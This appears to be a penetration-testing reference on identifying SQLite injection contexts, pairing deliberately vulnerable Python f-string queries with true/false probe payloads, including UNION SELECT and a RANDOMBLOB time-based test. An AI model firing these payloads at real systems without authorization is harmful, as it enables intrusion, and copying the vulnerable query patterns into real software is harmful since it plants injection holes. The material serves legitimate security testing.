Testing

SQLite injection-context testing

The injection context is the exact position occupied by input in the source query. A numeric expression, quoted string, ORDER BY expression, and LIMIT expression accept different SQL grammar. Source review reveals that position directly; without source access, paired controls can identify it from application behavior.

Each example supplies two syntactically valid SQLite inputs that differ only in one controlled result. A repeatable difference between the two responses confirms that the input changes SQL evaluation. A database error by itself proves only that malformed input reached some error path.

Numeric predicate

This pattern also covers numeric expressions inside WHERE, HAVING, and ON predicates.

query = f"SELECT id, name FROM items WHERE id = {user_input}"

1 AND 1=1
1 AND 1=2

The first control returns row 1; the second returns no rows.

Quoted-string predicate

query = f"SELECT id, username FROM users WHERE username = '{user_input}'"

maria' AND 1=1-- -
maria' AND 1=2-- -

The first control preserves the maria row and the second removes it. The comment consumes the source code’s closing quote.

LIKE predicate

query = f"SELECT id, name FROM items WHERE name LIKE '%{user_input}%'"

%' AND 1=1-- -
%' AND 1=2-- -

The first control leaves a match-all LIKE '%%' predicate followed by a true condition; the second makes the predicate false.

ORDER BY expression

query = f"SELECT id, name, count FROM items ORDER BY {user_input}"

CASE WHEN 1=1 THEN count ELSE id END
CASE WHEN 1=2 THEN count ELSE id END

The first control sorts by count; the second sorts by id. This is the deterministic form of an ORDER BY CASE test: an omitted ELSE produces NULL for every false row and leaves tie ordering undefined.

GROUP BY expression

query = f"SELECT COUNT(*) FROM items GROUP BY {user_input}"

CASE WHEN 1=1 THEN category ELSE name END
CASE WHEN 1=2 THEN category ELSE name END

With repeated categories and unique names, the first control returns category-sized groups and the second returns one group per name.

UNION SELECT

query = f"SELECT id, name FROM items WHERE id = {user_input}"

-1 UNION SELECT NULL,'sql-test'-- -
-1

The first control adds a visible sql-test row and the second returns no rows. This source query has two output columns; a different query requires matching its column count. SQLite’s dynamic typing still permits application-side type checks to reject the result.

LIMIT expression

query = f"SELECT id, name FROM items ORDER BY id LIMIT {user_input}"

(CASE WHEN 1=1 THEN 1 ELSE 2 END)
(CASE WHEN 1=2 THEN 1 ELSE 2 END)

The first control returns one ordered row and the second returns two.

Writable value expression

Use only a disposable lab row because both controls intentionally update data.

update_query = f"UPDATE items SET count = {user_input} WHERE id = 1"
insert_query = f"INSERT INTO items (count) VALUES ({user_input})"

CASE WHEN 1=1 THEN 7 ELSE 8 END
CASE WHEN 1=2 THEN 7 ELSE 8 END

Reading the written row back shows 7 for the first control and 8 for the second.

Dynamic SELECT expression

query = f"SELECT {user_input} FROM users ORDER BY id"

CASE WHEN 1=1 THEN username ELSE CAST(id AS TEXT) END
CASE WHEN 1=2 THEN username ELSE CAST(id AS TEXT) END

The returned values switch between username and the text form of id. A strict allowlist of column names prevents this expression context from being injectable.

Time-based confirmation

query = f"SELECT id, name FROM items WHERE id = {user_input}"

1 AND (CASE WHEN 1=2 THEN LENGTH(HEX(RANDOMBLOB(100000000))) ELSE 0 END)>=0
1 AND (CASE WHEN 1=1 THEN LENGTH(HEX(RANDOMBLOB(100000000))) ELSE 0 END)>=0

Both controls preserve row 1. The second control evaluates RANDOMBLOB() and takes longer to complete. SQLite has no built-in sleep function; the blob size controls the amount of work.

_{Find by: sqlite, sql injection testing, source review, true false control, time based control, randomblob, hex, where, having, on, quoted string, like, order by, group by, case when, union select, limit offset, insert update value, dynamic select}